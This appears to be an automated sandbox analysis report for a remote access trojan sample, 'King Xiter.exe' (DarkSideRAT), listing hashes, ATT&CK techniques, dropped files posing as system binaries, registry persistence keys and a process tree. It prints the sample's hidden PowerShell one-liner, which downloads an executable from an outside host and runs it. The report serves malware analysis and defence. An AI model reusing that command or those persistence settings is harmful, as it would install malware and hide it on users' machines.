darksiderat | 3897966470654f5bbbe7e375843e5b9fef365e99b5ecff465e19be959f0b8e2a

Analysis

user interaction
yes
max time kernel
14s
max time network
14s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/08/2026, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
King Xiter.exe
Size 5.2MB
Sample260802-ctdg6ascqa
SHA256 3897966470654f5bbbe7e375843e5b9fef365e99b5ecff465e19be959f0b8e2a
MD5 5617d4a1d6457d7c3fbb384dd1e5ff9e
SHA1 9cdc0a2c6fcd7e4971b63c913691a04173d9ee78
SHA512 ab76b5e0179cce702971a1fe02c96871a6fd930baad56e81de7f992679b5b48a2b955d9f9e4dccab56eb597de69ed76c6ba81e5e82bf506bae2bd4cd05b4e6d3
SSDEEP 98304:WrI1NzOlZfxn+e8uULXvanqpmAERrhGIkl8f55oCSOcKLJA7/:6I1pOlZJ+e8uUbaNBlTY8f5WCSOcKLE
TLSH
T1444612FA61483728C41688B09033FE59F172595D0BF9C9BEB2D6BBC037BA411E652F46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution darksiderat persistence trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x000a00000001e42d-68.dat	family_darksiderat

Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3180	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3180	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	3180	powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
3928	king xiter.exe
3532	icsys.icn.exe
4020	explorer.exe
4384	spoolsv.exe
2568	svchost.exe
4236	spoolsv.exe
5068	BK630635.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3928	king xiter.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	King Xiter.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4480	cmd.exe
736	cmd.exe
4200	cmd.exe
3456	cmd.exe
4476	cmd.exe
1040	cmd.exe
1064	cmd.exe
2900	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	King Xiter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
1804	King Xiter.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
3532	icsys.icn.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4020	explorer.exe
2568	svchost.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1804	King Xiter.exe
1804	King Xiter.exe
3532	icsys.icn.exe
3532	icsys.icn.exe
4020	explorer.exe
4020	explorer.exe
4384	spoolsv.exe
4384	spoolsv.exe
2568	svchost.exe
2568	svchost.exe
4236	spoolsv.exe
4236	spoolsv.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 3928	1804	King Xiter.exe	85
PID 1804 wrote to memory of 3532	1804	King Xiter.exe	86
PID 3532 wrote to memory of 4020	3532	icsys.icn.exe	88
PID 4020 wrote to memory of 4384	4020	explorer.exe	89
PID 4384 wrote to memory of 2568	4384	spoolsv.exe	90
PID 2568 wrote to memory of 4236	2568	svchost.exe	91
PID 3928 wrote to memory of 1064	3928	king xiter.exe	94
PID 1064 wrote to memory of 4480	1064	cmd.exe	95
PID 3928 wrote to memory of 2900	3928	king xiter.exe	97
PID 4480 wrote to memory of 3180	4480	cmd.exe	98
PID 3928 wrote to memory of 736	3928	king xiter.exe	99
PID 3928 wrote to memory of 4200	3928	king xiter.exe	101
PID 3928 wrote to memory of 3456	3928	king xiter.exe	102
PID 3928 wrote to memory of 4476	3928	king xiter.exe	103
PID 3928 wrote to memory of 1040	3928	king xiter.exe	104
PID 3180 wrote to memory of 5068	3180	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\King Xiter.exe
"C:\Users\Admin\AppData\Local\Temp\King Xiter.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1804
- \??\c:\users\admin\appdata\local\temp\king xiter.exe
  "c:\users\admin\appdata\local\temp\king xiter.exe "
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK630635.exe; Start-Process -FilePath $env:TEMP\BK630635.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK630635.exe; Start-Process -FilePath $env:TEMP\BK630635.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4480
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK630635.exe; Start-Process -FilePath $env:TEMP\BK630635.exe -WindowStyle Hidden }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3180
      - C:\Users\Admin\AppData\Local\Temp\BK630635.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK630635.exe"
        6⤵
        Executes dropped EXE
        
        PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    PID:2900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    PID:736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    PID:4200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - Executes a command shell one-liner
    PID:1040
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3532
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visibility of hidden/system files in Explorer
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4020
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4384
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visibility of hidden/system files in Explorer
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2568
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BK630635.exe

Path C:\Users\Admin\AppData\Local\Temp\BK630635.exe
Size 56KB
SHA256 47c72580795661e45c4ea0dcc31954cc63467f149e013fb77a6816ad67ac2750
MD5 1dfcd6d0690c4eb10a99b19eb0fd05e9
SHA1 dd58e6af2871c70a4532fc7d7bd8a56f7f47966e
SHA512 ada4387e34541c59147672146f6189766855ab2edebbad0dbba83b85339b69dc3a08dfc6a2716f6460f3afc4c93607fbe5bb22739920374e4f37ce8c00a92836
SSDEEP 768:RUcqx3pSuSDFfQYqXKmEXNt+VtzOOWp54vg5d5YP98yxA1XbXy/kW7rCVr8Z0kP:6WuWbpb+tWp0g5rBSm2sW7rCVoekP
TLSH
T1CD43F834EA5EB06FD359D830DD430D16DD52BCCA97A0BB9B57910DD20EAAF209B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_sllhvae2.qbt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sllhvae2.qbt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

king xiter.exe

Path C:\Users\Admin\AppData\Local\Temp\king xiter.exe
Size 5.1MB
SHA256 0ad5695630b5b990d5a403599db1eb38052a67c221ec8602d5be6c47e17202e6
MD5 ff484d43db4a3a0cd080ea4375ce78dd
SHA1 34b1c698699a4672dabc458fb0295ac6baf43c35
SHA512 2ba9a6599d4281a333822caf22a535239f3e8bdd11898905ea9067340e626dc6277b8285be82a2cd5d2ff256f3a873b8139a076e874d4c9ad522b08aa8a99bb1
SSDEEP 98304:qrI1NzOlZfxn+e8uULXvanqpmAERrhGIkl8f55oCSOcKLJA7:mI1pOlZJ+e8uUbaNBlTY8f5WCSOcKL
TLSH
T1B13612FA61483718C41A88709033FD59F1B6655D0AFAC9BDB6D77BD037AB420EA02F46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

explorer.exe

Path C:\Windows\Resources\Themes\explorer.exe
Size 135KB
SHA256 2b80b8d5c141a213b505263b669de8db2027dcaf42d386ea8a75cbfaa894aadc
MD5 fbea6e9811b44a6766838a49223bf8d3
SHA1 8b98d35a4a5a139f9cb29d596b4efb9d30b88eeb
SHA512 662ca48c54083765bbf8fde25817e19e42390d9344b1ba9ad3ff5d1ea5219f01bca1b194025d99ab5dee4def2ae2588412d2e795a452fe613f74eef5f123a2a0
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpal4:UVqoCl/YgjxEufVU0TbTyDDalQl4
TLSH
T190D3E9236E105C3ED92189F13865DA5EBA273E362BE0AE077352BB0439B514376F521F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icsys.icn.exe

Path C:\Windows\Resources\Themes\icsys.icn.exe
Size 135KB
SHA256 5aa370642318574bf44e29ebb2826d9404a0627e922e9e3f42be59566e53d2c1
MD5 55397b68c182584d9230b7ef191470e9
SHA1 1d14eb0967338967e19e13fb146f4a96431f8905
SHA512 8ffed67806c1221f45b9275fd01ac4a5da80c84b4a24cdbe05ebc2b47cc33e73f49dc8b2cf1909ee10fb907acdb971bc4a5f2a3a2f928917b9635dffad3bb60b
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalw:UVqoCl/YgjxEufVU0TbTyDDalQlw
TLSH
T1BCD30927BF102C3ED82186F168A5F6AEF9614E390B949D476296FB4535B230372F421F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spoolsv.exe

Path C:\Windows\Resources\spoolsv.exe
Size 135KB
SHA256 cab2bd463b6a7d31906375b2d08791d82a9064e6f20460a2e1bc4f18cee2692f
MD5 3a98afd0a7c91996d8be4f39ea97aa9d
SHA1 cb351bbc02b9d6e1be5624395bad6ba3654a7e12
SHA512 b918be58f7d2b4bb53a869fc398b2179535858e746208c24fb6aa493a58874ca246bcc790f07f25701f53ad7a8a54cb3602ccd4e5e2ea97d6a8167f1cd26d157
SSDEEP 1536:UfsEqouTRcG/Mzvgf7xEuvnXNTRdUzwTekUOisZ1yDDajtXbVhpalC:UVqoCl/YgjxEufVU0TbTyDDalQlC
TLSH
T13AD3F9236E119C3EDD11CAF178A6D66BB9621F261F906D8732A2BB0135B950772F120F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path \??\c:\windows\resources\svchost.exe
Size 135KB
SHA256 f1c497c989c25900f6ac4763408e8da37485e45797398d01c2c0f584e72ce3a3
MD5 5c9baf5d28d10671100bc63eb82fc73c
SHA1 559e95537f1acaa61ced9defad0aee452b687bad
SHA512 d24c3409668cda26c58b5bc01ac0dbda4fee47aac162395a38c4e1b878f29c895a124ad40faedfeb38b13b255246075bb3852180e961e42cad1e94652b36618a
SSDEEP 3072:UVqoCl/YgjxEufVU0TbTyDDalQls///////////////////////////////////P:UsLqdufVUNDar//////////////////n
TLSH
T187D3E923AE505C3FDC2586F128A9D72DB9225F362BA4AD47B291FB1035B251332F421F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1804-48-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/1804-0-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3180-61-0x0000022717D40000-0x0000022717D62000-memory.dmp

Download

memory/3532-47-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3532-11-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/3928-50-0x00007FFFEBFB0000-0x00007FFFEBFB2000-memory.dmp

Download

memory/3928-51-0x00007FFFEBFC0000-0x00007FFFEBFC2000-memory.dmp

Download

memory/3928-52-0x0000000140000000-0x00000001408D1000-memory.dmp

Download

memory/3928-49-0x000000014008A000-0x00000001403B9000-memory.dmp

Download

memory/3928-74-0x000000014008A000-0x00000001403B9000-memory.dmp

Download

memory/4236-45-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/4384-46-0x0000000000400000-0x000000000041F000-memory.dmp

Download

memory/4384-31-0x0000000000400000-0x000000000041F000-memory.dmp

Download